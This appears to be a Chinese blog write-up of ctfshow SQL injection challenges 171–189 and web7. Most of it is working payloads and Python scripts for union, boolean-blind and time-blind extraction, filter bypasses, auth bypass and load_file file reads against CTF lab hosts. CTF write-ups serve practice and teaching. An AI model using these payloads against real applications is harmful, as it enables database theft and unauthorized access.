ctfshow入门sql注入部分

ctfshow web入门 sql注入部分(不断更新)

171

观察可以采用报错注入,无任何过滤,观察发现是 ‘ 的闭合

select测试字段,发现字段为2个

1.查库:100' union select 1,2,database() --+

2.查表:100’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

3.查字段:100' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user' --+

4.查值: 100' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from ctfshow_web.ctfshow_user --+

172

1.和上一题一样,唯一不同的就是字段数不一样,字段数为2

173

过滤了 flag

法一

采用hex() 函数,将flag进行16进制转换

DCAtTs.png

payload:100 ' union select id,hex(username),hex(password)from ctfshow_web.ctfshow_user3 --+

法二

采用right()函数 进行字符串截取 注意是从右往左进行字符串截取,所以我们需要猜测flag的长度,测试得知截取从左往右第40个可以成功 绕过

DCAlSf.png

payload:100 ' union select id,hex(username),right(password,40)from ctfshow_web.ctfshow_user3 --+

174

过滤了数字和flag

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

正常思路就是使用base64编码 再将得到的数字就行替换

这里用py脚本 因为抓包的时候发现id 等于1时候会有 admin 直接使用盲注脚本

siHhi8.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re
import requests
flag=''
for i in range(1,45):
for j in r'01234556789abcdefghijklmnopqrstuvwxyz{}-=+-)({}[]':
url = "http://db9eb41a-dfb3-4755-a125-0ab3d0a63455.chall.ctf.show//api/v4.php?id="
# kv={'id': '''1' and substr((select password from ctfshow_user4 where username="flag"),%d,1)="%c"--+'''% (i,j)}
payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),%d,1)="%c"--+'''% (i,j)
# payload = ''' 1' and substr((select password from ctfshow_user4 where username='flag'),%d,1)="%c"--+'''% (i,j)
# r = requests.request('GET',url+payload)
r = requests.get(url+payload)
if 'admin' in r.text:
flag += j
print(flag)
break

下面这个是二分法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = "http://89131c15-02f2-4e9e-af2e-52bba0caf930.chall.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = 'if(ascii(substr((select password from ctfshow_user4 where username ="flag"),%d,1))>%d,1,0) -- A' %(i,mid)
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(tail)
else:
break
print(result)


175

1
2
3
4
5
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

过滤了所有字符,使用时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time
url = '''http://0678bdc2-b83b-4ee4-a079-7bf987b8b407.chall.ctf.show/api/v5.php?id=1' '''
flag = ''

for i in range(1,50):
for j in r'01234556789abcdefghijklmnopqrstuvwxyz{}-=+-)({}[]':
#开始计时
before_time = time.time()
payload = 'and if(substr((select password from ctfshow_user5 where username="flag"),%d,1)="%c",sleep(3),0)--+'% (i,j)
r = requests.get(url+ payload)
#返回时间
after_time = time.time()
offset = after_time - before_time
if offset > 2.8:
flag += j
print(flag)
break

大佬的二分法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# @Author:Y4tacker
import requests

url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)

176

解法一

万能密码
1' or 1=1--+然后最后一行发现了flag

解法二

首先输入,发现返回出错,估计是有过滤
1' union select 1,2,3--+
尝试大小写
1' uNion sElect 1,2,3--+发现有回显了
然后直接查flag
1' uNion sElect 1,2,password from ctfshow_user --+

177

解法一

空格过滤了/**/绕过
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23

解法二

万能密码
1'or'1'='1'%23

178

解法一

过滤了空格与*号等用%09绕过 (%09 为 TAB键)
1'%09union%09select%091,2,3%23
之后一把梭得到flag1'%09union%09select%091,2,password%09from%09ctfshow_user%23

解法二

万能密码
1'or'1'='1'%23

179

解法一

1'or'1'='1'%23

解法二

这次还把%09过滤了,测试了下发现%0c可以绕过(%0c为换行)
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

180-182

sql

1
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

把所有空格都过滤了,注释也被过滤了

'or(mid(password,1,1)='f')and'1'='1

测试如下

su3qAI.png

分析一下这个payload

我们只能查询一语句,所以我们需要精确定位,因为都知道password是flag{xxx},所以使用sql中的mid函数截取

sEDm4I.png

再说一下limit函数 limit 1代表的是只筛选一条数据,limit 2就代表筛选2条数据, limit 0,1代表是从最开始 筛选一条数据,也就是只筛选第一条数据,limit 1,1代表只筛选第二条数据

183

提示post表名,尝试 tableName=ctfshow_use有回显,过滤了所有空格

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
url ='http://282eda84-f050-4cb1-a827-866244652a85.chall.ctf.show/select-waf.php'
flagstr=r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"

flag1=""
for i in range(1,50):
for j in flagstr:
payload =f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
data={
"tableName":payload
}
r=requests.post(url,data=data)
if ("$user_count = 1;") in r.text:
flag1 += j
print(flag1)
break
print(f"flag is {flag1}")

184

使用right join连接查询,第一次用,向大佬学习了!!

还过滤了 单引号 使用char()函数

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "http://f15ac2ca-94b7-4257-a52a-00e52ecee805.chall.ctf.show/select-waf.php"

flag = 'flag{'
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
}
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break

185-186

185过滤了数字,需要找字母代替数字

大佬的图

slkv2d.png

我们这里使用true来替换所有数字

脚本在上一题的基础上修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
url = "http://78e5352b-0016-4705-8c3c-ee1da671cd73.chall.ctf.show/select-waf.php"

flag = 'flag{'
def createnum(n):
num = 'true'
if n==1:
return 'true'
else:
for i in range(n-1):
num+='+true'
return num
# print(createnum(3))
for i in range(45):
if i <= 5:
continue
for j in range(127):
# data = {
# "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createnum(i)},createnum(1))regexp(char({createnum(j)})))"
# }
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createnum(i)},{createnum(1)})regexp(char({createnum(j)})))"
}
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break

187

1
2
$password = md5($_POST['password'],true);
用户名填写 admin 密码为 ffifdyop

具体原理参考ctfshow web9

188

sql: $sql = “select pass from ctfshow_user where username = {$username}”;

waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
1
2
payload:username:0  或者 1<1 (只要是让返回值是0的大部分都可以)
password:0

密码为弱类型比较

用户名= 0的情况下选择SELECT * FROM Table显示所有行 参考:

测试

s8pmi4.png

189

也是一个很有意思的题目。我对于load_file的认知一直就是select load_file(xxxx),通过select查询来把文件内容读出来。所以看到题干:flag在api/index.php文件中,我的第一反应就是联合查询读文件。但是进入环境才发现又是这样没回显的题目,而且还把select给ban了,感觉不太可能是load_file。后来想了很久实在没法子又去往load_file去靠,突然想到可以盲注读flag:username=if((load_file(‘/var/www/html/api/index.php’))regexp(‘ctfshow{‘),0,1)&password=2
username=0是上一题的姿势,为0返回的是密码错误,是1返回的就是查询失败。正常不会往盲注这边想,是因为要盲注一整个文件太耗时,不可能出这种题目。但是如果只是盲注出这个文件中的flag,那就很简单了。写个

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url="http://313b5bc7-3d59-4590-93b8-d2b4e834e62b.chall.ctf.show:8080/api/index.php"

flag="ctfshow{"
for i in range(0,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
payload="if((load_file('/var/www/html/api/index.php'))regexp('{}'),0,1)".format(flag+j)
data={
'username':payload,
'password':1
}
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
flag+=j
print(flag)
if j=='}':
exit()
break

剩下可参考https://blog.csdn.net/rfrder/article/details/113664639

https://blog.csdn.net/rfrder/article/details/113759746

https://blog.csdn.net/solitudi/article/details/110144623

https://www.cnblogs.com/recharging-runtime/p/15077477.html

web7

我一直在想,如果关键字被过滤了,怎么去判读字段长度?

其实盲注的话,貌似就没有这个麻烦了

做题之前先判断哪些关键字被过滤了,

1
2
index.php?id=1'or1=1#
index.php?id=1'or 1=1#

一碰到空格就报错,空格被过滤用 /**/绕过

1.爆库名(web7)
当输入为id=-1/**/or/**/ascii(substr(database(),1,1))=119时出现文章内容,证明库名的第一个字符为‘w’,以此类推。

2.爆表名(flag,page,user)

1
id=-1/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))=102

3.爆字段(flag)
id=-1/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))=102

4.爆字段值
id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))=102

下面两个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
s=requests.session()
url='http://cd13a268-7832-48b3-91ba-9bbc519bf77d.chall.ctf.show/index.php'
table=""

for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import  requests
url = "http://cd13a268-7832-48b3-91ba-9bbc519bf77d.chall.ctf.show/index.php?id=-1'/**/"


def db(url): # 爆库名
for i in range(1, 5):
for j in range(32, 128):
u = "or/**/ascii(substr(database()/**/from/**/" + str(i) + "/**/for/**/1))=" + str(j) + "#"
s = url + u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
print(chr(j))


def table(url): # 爆表名
for i in range(4):
table_name = ''
for j in range(1, 6):
for k in range(48, 128):
u = id = "||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/" + str(
i) + ")/**/from/**/" + str(j) + "/**/for/**/1))=" + str(k) + "#"
s = url + u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
table_name += chr(k)
print(table_name)

db(url);
table(url);
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~